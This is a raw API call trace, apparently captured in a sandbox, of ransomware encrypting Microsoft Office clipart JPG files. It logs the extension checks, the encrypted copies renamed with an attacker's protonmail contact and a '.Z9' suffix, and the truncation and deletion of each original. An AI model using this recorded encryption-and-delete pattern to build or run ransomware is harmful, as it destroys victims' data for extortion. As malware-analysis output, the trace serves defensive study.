	[0180.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0180.672] lstrlenW (lpString=".jpg") returned 4
	[0180.672] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0180.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0180.673] lstrlenW (lpString=".doc") returned 4
	[0180.673] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.673] lstrlenW (lpString=".docx") returned 5
	[0180.673] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0180.673] lstrlenW (lpString=".pdf") returned 4
	[0180.673] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.673] lstrlenW (lpString=".xls") returned 4
	[0180.673] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.673] lstrlenW (lpString=".xlsx") returned 5
	[0180.673] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0180.673] lstrlenW (lpString=".ppt") returned 4
	[0180.673] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0180.673] lstrlenW (lpString=".zip") returned 4
	[0180.673] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.673] lstrlenW (lpString=".rar") returned 4
	[0180.673] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.673] lstrlenW (lpString=".bz2") returned 4
	[0180.673] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.673] lstrlenW (lpString=".7z") returned 3
	[0180.674] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0180.674] lstrlenW (lpString=".dbf") returned 4
	[0180.674] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0180.674] lstrlenW (lpString=".1cd") returned 4
	[0180.674] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0180.674] lstrlenW (lpString=".jpg") returned 4
	[0180.674] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.674] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0180.674] lstrlenW (lpString="J0145361.JPG") returned 12
	[0180.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.676] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=21125) returned 1
	[0180.676] CloseHandle (hObject=0x548) returned 1
	[0180.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 0x220
	[0180.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.677] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.677] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0180.679] GetLastError () returned 0x0
	[0180.679] ReadFile (in: hFile=0x548, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x5285, lpOverlapped=0x0) returned 1
	[0180.717] WriteFile (in: hFile=0x558, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x5290, lpOverlapped=0x0) returned 1
	[0180.835] ReadFile (in: hFile=0x548, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.835] WriteFile (in: hFile=0x558, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.835] SetEndOfFile (hFile=0x558) returned 1
	[0181.049] CloseHandle (hObject=0x558) returned 1
	[0181.050] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.050] SetEndOfFile (hFile=0x548) returned 1
	[0181.053] CloseHandle (hObject=0x548) returned 1
	[0181.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0181.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 1
	[0181.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0181.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0181.055] lstrlenW (lpString=".doc") returned 4
	[0181.055] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.055] lstrlenW (lpString=".docx") returned 5
	[0181.055] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0181.055] lstrlenW (lpString=".pdf") returned 4
	[0181.055] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.055] lstrlenW (lpString=".xls") returned 4
	[0181.055] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.055] lstrlenW (lpString=".xlsx") returned 5
	[0181.055] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0181.055] lstrlenW (lpString=".ppt") returned 4
	[0181.055] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0181.055] lstrlenW (lpString=".zip") returned 4
	[0181.055] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.055] lstrlenW (lpString=".rar") returned 4
	[0181.055] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.055] lstrlenW (lpString=".bz2") returned 4
	[0181.055] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.055] lstrlenW (lpString=".7z") returned 3
	[0181.055] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0181.055] lstrlenW (lpString=".dbf") returned 4
	[0181.055] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0181.055] lstrlenW (lpString=".1cd") returned 4
	[0181.055] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0181.055] lstrlenW (lpString=".jpg") returned 4
	[0181.055] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0181.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0181.056] lstrlenW (lpString=".doc") returned 4
	[0181.056] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.056] lstrlenW (lpString=".docx") returned 5
	[0181.056] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0181.056] lstrlenW (lpString=".pdf") returned 4
	[0181.056] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.056] lstrlenW (lpString=".xls") returned 4
	[0181.056] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.056] lstrlenW (lpString=".xlsx") returned 5
	[0181.056] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0181.056] lstrlenW (lpString=".ppt") returned 4
	[0181.056] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0181.056] lstrlenW (lpString=".zip") returned 4
	[0181.056] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.056] lstrlenW (lpString=".rar") returned 4
	[0181.056] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.056] lstrlenW (lpString=".bz2") returned 4
	[0181.056] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.056] lstrlenW (lpString=".7z") returned 3
	[0181.056] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0181.056] lstrlenW (lpString=".dbf") returned 4
	[0181.056] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0181.056] lstrlenW (lpString=".1cd") returned 4
	[0181.056] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0181.057] lstrlenW (lpString=".jpg") returned 4
	[0181.057] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.057] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0181.057] lstrlenW (lpString="J0145879.JPG") returned 12
	[0181.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.058] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=35419) returned 1
	[0181.058] CloseHandle (hObject=0x548) returned 1
	[0181.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 0x220
	[0181.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0181.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.059] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.059] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0181.060] GetLastError () returned 0x0
	[0181.060] ReadFile (in: hFile=0x548, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x8a5b, lpOverlapped=0x0) returned 1
	[0181.411] WriteFile (in: hFile=0x558, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x8a60, lpOverlapped=0x0) returned 1
	[0181.412] ReadFile (in: hFile=0x548, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.412] WriteFile (in: hFile=0x558, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.413] SetEndOfFile (hFile=0x558) returned 1
	[0181.413] CloseHandle (hObject=0x558) returned 1
	[0181.413] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.413] SetEndOfFile (hFile=0x548) returned 1
	[0182.475] CloseHandle (hObject=0x548) returned 1
	[0182.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 1
	[0183.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0183.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0183.009] lstrlenW (lpString=".doc") returned 4
	[0183.009] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.010] lstrlenW (lpString=".docx") returned 5
	[0183.010] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0183.010] lstrlenW (lpString=".pdf") returned 4
	[0183.010] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.010] lstrlenW (lpString=".xls") returned 4
	[0183.010] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.010] lstrlenW (lpString=".xlsx") returned 5
	[0183.010] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0183.010] lstrlenW (lpString=".ppt") returned 4
	[0183.010] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0183.010] lstrlenW (lpString=".zip") returned 4
	[0183.010] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.010] lstrlenW (lpString=".rar") returned 4
	[0183.010] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.010] lstrlenW (lpString=".bz2") returned 4
	[0183.010] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.010] lstrlenW (lpString=".7z") returned 3
	[0183.010] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0183.010] lstrlenW (lpString=".dbf") returned 4
	[0183.010] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0183.010] lstrlenW (lpString=".1cd") returned 4
	[0183.010] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0183.010] lstrlenW (lpString=".jpg") returned 4
	[0183.010] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0183.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0183.010] lstrlenW (lpString=".doc") returned 4
	[0183.010] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.010] lstrlenW (lpString=".docx") returned 5
	[0183.010] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0183.010] lstrlenW (lpString=".pdf") returned 4
	[0183.011] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.011] lstrlenW (lpString=".xls") returned 4
	[0183.011] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.011] lstrlenW (lpString=".xlsx") returned 5
	[0183.011] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0183.011] lstrlenW (lpString=".ppt") returned 4
	[0183.011] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0183.011] lstrlenW (lpString=".zip") returned 4
	[0183.011] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.011] lstrlenW (lpString=".rar") returned 4
	[0183.011] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.011] lstrlenW (lpString=".bz2") returned 4
	[0183.011] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.011] lstrlenW (lpString=".7z") returned 3
	[0183.011] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0183.011] lstrlenW (lpString=".dbf") returned 4
	[0183.011] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0183.011] lstrlenW (lpString=".1cd") returned 4
	[0183.011] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0183.011] lstrlenW (lpString=".jpg") returned 4
	[0183.011] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.011] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0183.011] lstrlenW (lpString="J0148798.JPG") returned 12
	[0183.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0183.013] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=38237) returned 1
	[0183.013] CloseHandle (hObject=0x4bc) returned 1
	[0183.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 0x220
	[0183.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0183.013] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.013] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0183.015] GetLastError () returned 0x0
	[0183.015] ReadFile (in: hFile=0x4bc, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x955d, lpOverlapped=0x0) returned 1
	[0183.145] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x9560, lpOverlapped=0x0) returned 1
	[0183.148] ReadFile (in: hFile=0x4bc, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.148] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.148] SetEndOfFile (hFile=0x460) returned 1
	[0183.148] CloseHandle (hObject=0x460) returned 1
	[0183.149] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.149] SetEndOfFile (hFile=0x4bc) returned 1
	[0183.184] CloseHandle (hObject=0x4bc) returned 1
	[0183.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 1
	[0183.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0183.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0183.538] lstrlenW (lpString=".doc") returned 4
	[0183.538] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.538] lstrlenW (lpString=".docx") returned 5
	[0183.538] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0183.538] lstrlenW (lpString=".pdf") returned 4
	[0183.538] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.538] lstrlenW (lpString=".xls") returned 4
	[0183.538] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.562] lstrlenW (lpString=".xlsx") returned 5
	[0183.562] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0183.562] lstrlenW (lpString=".ppt") returned 4
	[0183.562] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0183.562] lstrlenW (lpString=".zip") returned 4
	[0183.562] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.562] lstrlenW (lpString=".rar") returned 4
	[0183.562] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.562] lstrlenW (lpString=".bz2") returned 4
	[0183.562] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.562] lstrlenW (lpString=".7z") returned 3
	[0183.562] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0183.562] lstrlenW (lpString=".dbf") returned 4
	[0183.562] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0183.562] lstrlenW (lpString=".1cd") returned 4
	[0183.562] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
